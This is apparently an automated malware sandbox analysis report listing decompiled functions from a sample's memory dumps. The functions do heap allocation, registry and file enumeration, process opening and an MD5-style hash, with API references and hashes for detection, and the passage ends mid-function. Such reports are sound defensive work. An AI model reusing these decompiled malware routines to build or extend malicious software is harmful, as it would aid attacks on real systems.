Function 04A86B2A, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A86B2A(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x4a8d238, 0, _a4); // executed
				return _t2;
			}

0x04a86b36
0x04a86b3c

APIs

RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 108d938b4a8e82237b16e4452115fc98bd34a0c1b4485e5efd9d30abdfb19bd8
Instruction ID: 21657bfe21c479c9e107907571008d5fdaa362697acfcdf9e5ab010031b76c1c
Opcode Fuzzy Hash: 108d938b4a8e82237b16e4452115fc98bd34a0c1b4485e5efd9d30abdfb19bd8
Instruction Fuzzy Hash: 7DB01236400100ABEA024B00DD04F05BB31EB74720F004118B204480B0D3354C62FF15

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A7AF, Relevance: 1.3, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8A7AF(void* __eax, void* __ecx, void* __edx, void* _a4, void** _a8, intOrPtr* _a12) {
				int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				int _v40;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				void* _t41;
				void* _t46;
				void* _t57;
				void* _t59;
				int _t62;
				void* _t63;
				void* _t65;
				void* _t66;

				_t60 = __ecx;
				_t59 = _a4;
				_t62 = 0;
				_t63 = __eax;
				_v16 = 0;
				_v12 = 0;
				_a4 = 0;
				if(__eax <= 0x40) {
					L20:
					return _t62;
				}
				_t41 = E04A862C9(_a12, __ecx, __edx,  &_v72,  &_v16, _t59 + __eax - 0x40);
				if(_t41 != 0) {
					goto L20;
				}
				_t64 = _t63 - 0x40;
				if(_v40 > _t63 - 0x40) {
					goto L20;
				}
				while( *((char*)(_t66 + _t41 - 0x34)) == 0) {
					_t41 = _t41 + 1;
					if(_t41 < 0x10) {
						continue;
					}
					_t62 = _v40;
					_t57 = E04A86B2A(_t62);
					_t74 = _t57;
					_a4 = _t57;
					if(_t57 != 0) {
						_t62 = 0;
						L17:
						if(_t62 != 0) {
							goto L20;
						}
						L18:
						if(_a4 != 0) {
							E04A89A1A(_a4);
						}
						goto L20;
					}
					memcpy(_t57, _t59, _t62);
					L7:
					_t65 = _a4;
					E04A8217E(_t60, _t74, _t65, _t62,  &_v32);
					if(_v32 != _v72 || _v28 != _v68 || _v24 != _v64 || _v20 != _v60) {
						L14:
						_t62 = 0;
						goto L18;
					} else {
						 *_a8 = _t65;
						goto L17;
					}
				}
				_t46 = E04A88D70(_t64, _t59,  &_a4,  &_v12,  &_v56, 0); // executed
				__eflags = _t46;
				if(_t46 != 0) {
					_t62 = _v12;
					goto L17;
				}
				_t62 = _v40;
				_t30 = _t62 + 0xf; // 0x4a867db
				__eflags = _v12 - (_t30 & 0xfffffff0);
				if(__eflags == 0) {
					goto L7;
				}
				goto L14;
			}

0x04a8a7af
0x04a8a7b6
0x04a8a7bb
0x04a8a7bd
0x04a8a7c2
0x04a8a7c5
0x04a8a7c8
0x04a8a7cb
0x04a8a89c
0x04a8a8a2
0x04a8a8a2
0x04a8a7e1
0x04a8a7e8
0x00000000
0x00000000
0x04a8a7ee
0x04a8a7f4
0x00000000
0x00000000
0x04a8a7fa
0x04a8a801
0x04a8a805
0x00000000
0x00000000
0x04a8a807
0x04a8a80b
0x04a8a810
0x04a8a812
0x04a8a815
0x04a8a883
0x04a8a88a
0x04a8a88c
0x00000000
0x00000000
0x04a8a88e
0x04a8a892
0x04a8a897
0x04a8a897
0x00000000
0x04a8a892
0x04a8a81a
0x04a8a822
0x04a8a822
0x04a8a82b
0x04a8a836
0x04a8a87f
0x04a8a87f
0x00000000
0x04a8a850
0x04a8a853
0x00000000
0x04a8a853
0x04a8a836
0x04a8a868
0x04a8a86d
0x04a8a86f
0x04a8a887
0x00000000
0x04a8a887
0x04a8a871
0x04a8a874
0x04a8a87a
0x04a8a87d
0x00000000
0x00000000
0x00000000

APIs

memcpy.NTDLL(00000000,?,04A867CC,04A867CC,?,?,?,?,00000001,?), ref: 04A8A81A

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 361d961cd36af2f14528eb89a3a3d615360ae0af7f875179ebcb66ab70903577
Instruction ID: a0af1ac848dd65ddab66f51e31fc55cb6e55506b46b1b26bb38421f1741b0c17
Opcode Fuzzy Hash: 361d961cd36af2f14528eb89a3a3d615360ae0af7f875179ebcb66ab70903577
Instruction Fuzzy Hash: 5431FC7290010DAFDF11FF95C980AEEB7B9EB54354F15806AE915E7150E730FA46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A85C33, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E04A85C33(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x4a8d330;
				E04A8945E();
				while(1) {
					_t8 = E04A842B4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E04A8843C(_t14);
					if(_t15 == 0) {
						HeapFree( *0x4a8d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E04A8945E();
					if(_t19 != 0) {
						_t22 =  *0x4a8d338; // 0x55298b0
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x04a85c3b
0x04a85c3f
0x04a85c40
0x04a85c41
0x04a85c46
0x04a85c4b
0x04a85c52
0x04a85c59
0x00000000
0x00000000
0x04a85c5b
0x04a85c60
0x04a85c61
0x04a85c68
0x04a85c82
0x00000000
0x04a85c6a
0x04a85c6a
0x04a85c6c
0x04a85c6f
0x04a85c73
0x00000000
0x00000000
0x04a85c75
0x04a85c73
0x04a85c8a
0x04a85c8a
0x04a85c8c
0x04a85c93
0x04a85c95
0x04a85c9b
0x04a85ca2
0x04a85cb2
0x04a85caa
0x04a85cad
0x04a85cad
0x04a85cb5
0x04a85cb5
0x04a85cbe
0x04a85cbe
0x04a85c88
0x00000000

APIs

Part of subcall function 04A8945E: GetProcAddress.KERNEL32(36776F57,04A85C4B), ref: 04A89479

Part of subcall function 04A842B4: RtlAllocateHeap.NTDLL(00000000,59935A40,00000000), ref: 04A842DF
Part of subcall function 04A842B4: RtlAllocateHeap.NTDLL(00000000,59935A40), ref: 04A84301
Part of subcall function 04A842B4: memset.NTDLL ref: 04A8431B
Part of subcall function 04A842B4: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 04A84359
Part of subcall function 04A842B4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 04A8436D
Part of subcall function 04A842B4: FindCloseChangeNotification.KERNEL32(00000000), ref: 04A84384
Part of subcall function 04A842B4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 04A84390
Part of subcall function 04A842B4: lstrcat.KERNEL32(?,642E2A5C), ref: 04A843D1
Part of subcall function 04A842B4: FindFirstFileA.KERNEL32(?,?), ref: 04A843E7

Part of subcall function 04A8843C: lstrlen.KERNEL32(?,00000000,04A8D330,00000001,04A85C66,04A8D00C,04A8D00C,00000000,00000005,00000000,00000000,?,?,?,04A85D65,?), ref: 04A88445
Part of subcall function 04A8843C: mbstowcs.NTDLL ref: 04A8846C
Part of subcall function 04A8843C: memset.NTDLL ref: 04A8847E

HeapFree.KERNEL32(00000000,04A8D00C,04A8D00C,04A8D00C,00000000,00000005,00000000,00000000,?,?,?,04A85D65,?,04A8D00C,?,?), ref: 04A85C82

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 667b72522addafd0363816b81842c683a9f2b0d80e2e2522b957379d84b16188
Instruction ID: 1852b22c1603d88e97b09fa1b0a2896102755d8ae7455e9095e123e8989f2101
Opcode Fuzzy Hash: 667b72522addafd0363816b81842c683a9f2b0d80e2e2522b957379d84b16188
Instruction Fuzzy Hash: AF01F9B1A00204BEF7047FE7DD80B7A76E8EB65268F50003DAD45C6190D669BD419B61

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A6B2, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8A6B2(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E04A89FB7(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E04A82288(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x4a8d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x04a8a6ba
0x04a8a70f
0x04a8a714
0x04a8a6bc
0x04a8a6d6
0x04a8a6da
0x04a8a6df
0x04a8a6e1
0x04a8a6f1
0x04a8a6fd
0x04a8a6e3
0x04a8a6e3
0x04a8a6e6
0x04a8a6eb
0x04a8a6eb
0x04a8a6e1
0x04a8a6da
0x04a8a71a

APIs

Part of subcall function 04A82288: RegCloseKey.ADVAPI32(80000002,?,04A838C6,3D04A8C0,80000002,04A89AD0,00000000,04A89AD0,?,65696C43,80000002,00000000,?), ref: 04A8231F

HeapFree.KERNEL32(00000000,?,00000000,80000002,76D7F710,?,?,76D7F710,00000000,?,04A81E03,?,004F0053,05529388,00000000,?), ref: 04A8A6FD

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseFreeHeap
String ID:
API String ID: 1266433183-0
Opcode ID: 094ee36c777c185044ed78b5df4e43d911af7cdb271b8ef5cf49e3727d4a8ad3
Instruction ID: 143be6b1817f4b2da75fa3bb0de87094e37edd4696d31d3717cb8b8dc61b42c0
Opcode Fuzzy Hash: 094ee36c777c185044ed78b5df4e43d911af7cdb271b8ef5cf49e3727d4a8ad3
Instruction Fuzzy Hash: 42011D72200249FBDB22AF54CC41FAA3BB5FB94360F14842EFA558A160E731E931EB50

Uniqueness

Uniqueness Score: -1.00%

Function 04A86045, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04A86045(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x04a86045
0x04a86052
0x04a86053
0x04a86054
0x04a8605b
0x04a86089
0x04a8608a
0x04a8608d
0x04a86093
0x00000000
0x00000000
0x04a86072
0x04a8607c
0x04a86083
0x00000000
0x04a86074
0x04a86077
0x04a86097
0x04a86079
0x04a86079
0x00000000
0x04a86079
0x04a86077
0x04a8609e
0x04a860a4
0x04a860a4
0x00000000

APIs

Sleep.KERNEL32(000001F4), ref: 04A8608D

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b068791463322875a8e66af02d3e15464574d50bebbbbf275974deffb12b3deb
Instruction ID: ee5f83617120e05c826f4e465183bfd608e0d4919451b6eb76ddb69cd5a9fa9b
Opcode Fuzzy Hash: b068791463322875a8e66af02d3e15464574d50bebbbbf275974deffb12b3deb
Instruction Fuzzy Hash: 63F03C71D01218EFEB00EBE4D488AEDB7B8EF04304F1080AEE50263100E3B46B40CF65

Uniqueness

Uniqueness Score: -1.00%

Function 04A8213B, Relevance: 1.3, APIs: 1, Instructions: 24stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(04A89AD0,?,?,04A839B3,3D04A8C0,80000002,04A89AD0,04A8A2A3,74666F53,4D4C4B48,04A8A2A3,?,3D04A8C0,80000002,04A89AD0,?), ref: 04A8215B

Part of subcall function 04A89F4A: SysAllocString.OLEAUT32(04A8A2A3), ref: 04A89F64
Part of subcall function 04A89F4A: SysFreeString.OLEAUT32(00000000), ref: 04A89FA4

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: 912a0c72134f5ddf5afdb2709563c3dddc60cd62c79b927ae20dab5de1384d42
Instruction ID: a84991a0064fcfd2563dae9877cc6874171b78f53d3115888a22cb7504f900cd
Opcode Fuzzy Hash: 912a0c72134f5ddf5afdb2709563c3dddc60cd62c79b927ae20dab5de1384d42
Instruction Fuzzy Hash: CCE0C27200010EFFDF06AF90ED05EAA3F6AFB08354F148459FA0415061D772EA71ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 04A861CD, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A861CD(void* __edx, void* __edi, void* _a4) {
				int _t7;
				int _t13;

				_t7 = E04A8673A(__edx, __edi, _a4,  &_a4); // executed
				_t13 = _t7;
				if(_t13 != 0) {
					memcpy(__edi, _a4, _t13);
					 *((char*)(__edi + _t13)) = 0;
					E04A89A1A(_a4);
				}
				return _t13;
			}

0x04a861d9
0x04a861de
0x04a861e2
0x04a861e9
0x04a861f4
0x04a861f8
0x04a861f8
0x04a86201

APIs

Part of subcall function 04A8673A: memcpy.NTDLL(00000000,00000090,?,?,?,00000008), ref: 04A86770
Part of subcall function 04A8673A: memset.NTDLL ref: 04A867E5
Part of subcall function 04A8673A: memset.NTDLL ref: 04A867F9

memcpy.NTDLL(?,?,00000000,?,?,?,?,?,04A86A48,?,?,04A82063,00000002,?,?,?), ref: 04A861E9

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: 293a4cd33880de4b4cb54efcc92c33b33d04e75ac611045b7ff3f6d9621dad30
Instruction ID: 3ea78d57ce6603528a32586db0d1877712f2689e0053cf4be25851347467c8e9
Opcode Fuzzy Hash: 293a4cd33880de4b4cb54efcc92c33b33d04e75ac611045b7ff3f6d9621dad30
Instruction Fuzzy Hash: CFE086764011297ADB123B94DC00DFBBF5CCF45694F404028FD0896101D622E51193E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04A83C98, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A83C98(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4a8d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4a8d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4a8d258 = _t6;
					 *0x4a8d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4a8d254 = _t7;
					if(_t7 == 0) {
						 *0x4a8d254 =  *0x4a8d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x04a83ca0
0x04a83ca8
0x04a83cad
0x00000000
0x04a83d02
0x04a83caf
0x04a83cb7
0x04a83cbf
0x04a83cbf
0x04a83cff
0x00000000
0x04a83cff
0x04a83cc1
0x04a83cc1
0x04a83cc6
0x04a83cd8
0x04a83cdd
0x04a83ce3
0x04a83ceb
0x04a83cf0
0x04a83cf2
0x04a83cf2
0x00000000
0x04a83cf9
0x04a83cbb
0x00000000
0x00000000
0x04a83cbd
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04A81590,?), ref: 04A83CA0
GetVersion.KERNEL32 ref: 04A83CAF
GetCurrentProcessId.KERNEL32 ref: 04A83CC6
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04A83CE3
GetLastError.KERNEL32 ref: 04A83D02

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: c89f46aa5b1b257e188461248ff390bae0db6b06d91d03e64f30b93f97f208e4
Instruction ID: 328eeaeea3361efd987973760750e310f9587699e46e783150dcb01e816aed2e
Opcode Fuzzy Hash: c89f46aa5b1b257e188461248ff390bae0db6b06d91d03e64f30b93f97f208e4
Instruction Fuzzy Hash: 1FF06270640301DAFB60AF24AC09B157FB0E774FA1F10491DE945CA1C0E3B99807DF25

Uniqueness

Uniqueness Score: -1.00%

Function 04A88534, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E04A88534(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
